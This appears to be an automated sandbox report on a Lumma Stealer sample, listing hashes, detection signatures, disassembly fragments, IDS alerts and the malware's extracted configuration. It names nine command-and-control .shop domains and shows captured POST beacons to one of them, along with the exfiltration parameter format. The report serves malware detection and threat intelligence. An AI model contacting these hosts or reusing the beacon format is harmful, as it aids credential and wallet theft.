Edit tour

Windows Analysis Report
bfINGx7hvL.exe

Overview

General Information

Sample name:	bfINGx7hvL.exe renamed because original name is a hash value
Original sample name:	80c2a36e9a14e3edba0b706d2433d9b8.exe
Analysis ID:	1520450
MD5:	80c2a36e9a14e3edba0b706d2433d9b8
SHA1:	03ac191b235b3a867539720070a5e6ca1108b4f2
SHA256:	154dae39845abef889af814bd6ad84283374c90ecece891addc362384afdd882
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to infect the boot sector

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE / OLE file has an invalid certificate

Potential key logger detected (key state polling based)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

bfINGx7hvL.exe (PID: 5852 cmdline: "C:\Users\user\Desktop\bfINGx7hvL.exe" MD5: 80C2A36E9A14E3EDBA0B706D2433D9B8)

WerFault.exe (PID: 5608 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 624 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6520 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 1760 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 6172 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5852 -s 200 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://censys.com/a-beginners-guide-to-hunting-open-directories/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["priooozekw.shop", "surroundeocw.shop", "deallyharvenw.shop", "candleduseiwo.shop", "abortinoiwiam.shop", "racedsuitreow.shop", "covvercilverow.shop", "defenddsouneuw.shop", "pumpkinkwquo.shop"], "Build id": "yJEcaG--rui1222"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x5ad2f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:18:26.194583+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-27T11:18:27.331905+0200	2054653	1	A Network Trojan was detected	192.168.2.5	49717	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:18:26.194583+0200	2049836	1	A Network Trojan was detected	192.168.2.5	49716	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:18:27.331905+0200	2049812	1	A Network Trojan was detected	192.168.2.5	49717	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (defenddsouneuw .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:18:26.025493+0200	2056077	1	Domain Observed Used for C2 Detected	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-27T11:18:26.917291+0200	2056077	1	Domain Observed Used for C2 Detected	192.168.2.5	49717	188.114.97.3	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (defenddsouneuw .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:18:25.539643+0200	2056076	1	Domain Observed Used for C2 Detected	192.168.2.5	57176	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (racedsuitreow .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T11:18:25.529280+0200	2056078	1	Domain Observed Used for C2 Detected	192.168.2.5	58062	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: bfINGx7hvL.exe.5852.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["priooozekw.shop", "surroundeocw.shop", "deallyharvenw.shop", "candleduseiwo.shop", "abortinoiwiam.shop", "racedsuitreow.shop", "covvercilverow.shop", "defenddsouneuw.shop", "pumpkinkwquo.shop"], "Build id": "yJEcaG--rui1222"}

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: covvercilverow.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: surroundeocw.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: abortinoiwiam.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: pumpkinkwquo.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: priooozekw.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: deallyharvenw.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: defenddsouneuw.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: racedsuitreow.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: candleduseiwo.shop
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2430586106.0000000000F70000.00000040.00001000.00020000.00000000.sdmp	String decryptor: yJEcaG--rui1222

Source: C:\Users\user\Desktop\bfINGx7hvL.exe

Code function: 0_2_0052D130 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,

0_2_0052D130

Source: bfINGx7hvL.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49717 version: TLS 1.2

Source:	Binary string: F:\PD3\bin\Release\PrivacyDrive.pdb source: bfINGx7hvL.exe
Source:	Binary string: F:\PD3\bin\Release\PrivacyDrive.pdbN source: bfINGx7hvL.exe

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00477BE0 FindFirstFileW,		0_2_00477BE0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 0_2_00495D80 FindFirstFileW,FindClose,		0_2_00495D80

Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_b2c5d0224beae675fda7c01c57cba19d402078_0da6e983_9c4e44b6-c5e5-47b8-8186-b9802dcb5e27\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bfINGx7hvL.exe_d6c1667ab283d126154324f80fd21f5eda59e7d_0da6e983_01f5966f-efa9-4ec3-a2c8-5407a75e0685\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue	Jump to behavior

Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00F86013
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00F8600C
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	0_2_00F811B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-18h]	0_2_00F9D0CE
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-54h]	0_2_00F92132
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-18h]	0_2_00F9D134
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FB12FC
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	0_2_00FB12FC
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00FB82BB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FBC2B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00FA429B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00FA429B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00FAC282
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	0_2_00FB5272
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00FA4215
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00FA4215
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	0_2_00FB63F2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FBB3B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00F8539E
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	0_2_00F98312
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_00F874E1
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	0_2_00F7F4B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, 0000000Bh	0_2_00FA54B5
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx ebp, word ptr [edi]	0_2_00FB0432
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-54h]	0_2_00F92403
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000744h]	0_2_00FA45CB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00FA45CB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00FA45CB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-54h]	0_2_00F925AE
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00F98582
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F9F577
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_00F8F6C4
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	0_2_00F766B2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00F9A692
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], CECD21FDh	0_2_00F9D652
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CECD21FDh	0_2_00F9D652
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00FBB612
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00FA076F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00FA076F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_00F77712
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov edi, ecx	0_2_00F858A8
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FB9832
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 54CA534Eh	0_2_00FB9832
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then push ebx	0_2_00F8F835
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	0_2_00F859AB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+28h]	0_2_00F859AB
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	0_2_00F8C952
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00F82911
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_00F87AF3
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then jmp eax	0_2_00F87BF4
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	0_2_00FBBBE2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp word ptr [ebx+eax+02h], 0000h	0_2_00F90B95
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov word ptr [esi], ax	0_2_00F90B95
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov edi, eax	0_2_00F78B72
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then jmp ecx	0_2_00FB0B62
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00FA4B4C
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	0_2_00FB2B02
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	0_2_00F84DDD
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00FA1DB2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	0_2_00F99DA7
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-34h]	0_2_00F95D92
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	0_2_00FBBD62
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FB8D52
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_00FB0EF0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, ebp	0_2_00F7BEE2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, ebp	0_2_00F7BEE2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00FA3ED2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	0_2_00FBBED2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov edi, dword ptr [ebp-3Ch]	0_2_00F9FEC1
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00FA4E2D
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FB4E22
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00FA4E18
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_00FA0E11
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_00FBBFE2
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00FA3EB7
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	0_2_00FA3F33
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+eax]	0_2_0426F7B0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	0_2_042AA1E0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_0429342B
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_042A3420
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	0_2_0428F40F
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_04293419
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, ebp	0_2_0426A4E0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, ebp	0_2_0426A4E0
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_0429F4EE
Source: C:\Users\user\Desktop\bfINGx7hvL.exe	Code function: 4x nop then mov edi, dword ptr [ebp-3Ch]	0_2_0428E4C2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056078 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (racedsuitreow .shop) : 192.168.2.5:58062 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056076 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (defenddsouneuw .shop) : 192.168.2.5:57176 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056077 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (defenddsouneuw .shop in TLS SNI) : 192.168.2.5:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056077 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (defenddsouneuw .shop in TLS SNI) : 192.168.2.5:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49716 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49717 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49717 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: priooozekw.shop
Source: Malware configuration extractor	URLs: surroundeocw.shop
Source: Malware configuration extractor	URLs: deallyharvenw.shop
Source: Malware configuration extractor	URLs: candleduseiwo.shop
Source: Malware configuration extractor	URLs: abortinoiwiam.shop
Source: Malware configuration extractor	URLs: racedsuitreow.shop
Source: Malware configuration extractor	URLs: covvercilverow.shop
Source: Malware configuration extractor	URLs: defenddsouneuw.shop
Source: Malware configuration extractor	URLs: pumpkinkwquo.shop

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: defenddsouneuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=inhlfBS3QXaL1Ty2MUmL0TtBj90y1fo7k8xWfPJyJFo-1727428706-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: defenddsouneuw.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: candleduseiwo.shop
Source: global traffic	DNS traffic detected: DNS query: racedsuitreow.shop
Source: global traffic	DNS traffic detected: DNS query: defenddsouneuw.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: defenddsouneuw.shop

Source: bfINGx7hvL.exe	String found in binary or memory: http://crl.thawte.com/ThawtePremiumServerCA.crl0
Source: bfINGx7hvL.exe	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: bfINGx7hvL.exe	String found in binary or memory: http://ocsp.thawte.com0
Source: bfINGx7hvL.exe	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: bfINGx7hvL.exe	String found in binary or memory: http://s.symcd.com06
Source: bfINGx7hvL.exe	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: bfINGx7hvL.exe	String found in binary or memory: http://t2.symcb.com0
Source: bfINGx7hvL.exe	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: bfINGx7hvL.exe	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: bfINGx7hvL.exe	String found in binary or memory: http://tl.symcd.com0&
Source: bfINGx7hvL.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: bfINGx7hvL.exe	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: bfINGx7hvL.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: bfINGx7hvL.exe	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: bfINGx7hvL.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: bfINGx7hvL.exe	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: bfINGx7hvL.exe	String found in binary or memory: http://www.privacy-drive.comx
Source: bfINGx7hvL.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: bfINGx7hvL.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: bfINGx7hvL.exe	String found in binary or memory: https://d.symcb.com/rpa0.
Source: bfINGx7hvL.exe, 00000000.00000002.2430889211.0000000001591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.sho
Source: bfINGx7hvL.exe, 00000000.00000003.2162737451.0000000001559000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.shop/
Source: bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.shop/D
Source: bfINGx7hvL.exe, 00000000.00000002.2430889211.0000000001591000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.shop/Y
Source: bfINGx7hvL.exe, 00000000.00000003.2162942825.000000000157A000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2163472442.0000000001591000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000015A4000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000002.2430889211.00000000014F5000.00000004.00000020.00020000.00000000.sdmp, bfINGx7hvL.exe, 00000000.00000003.2163547485.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://defenddsouneuw.shop/api
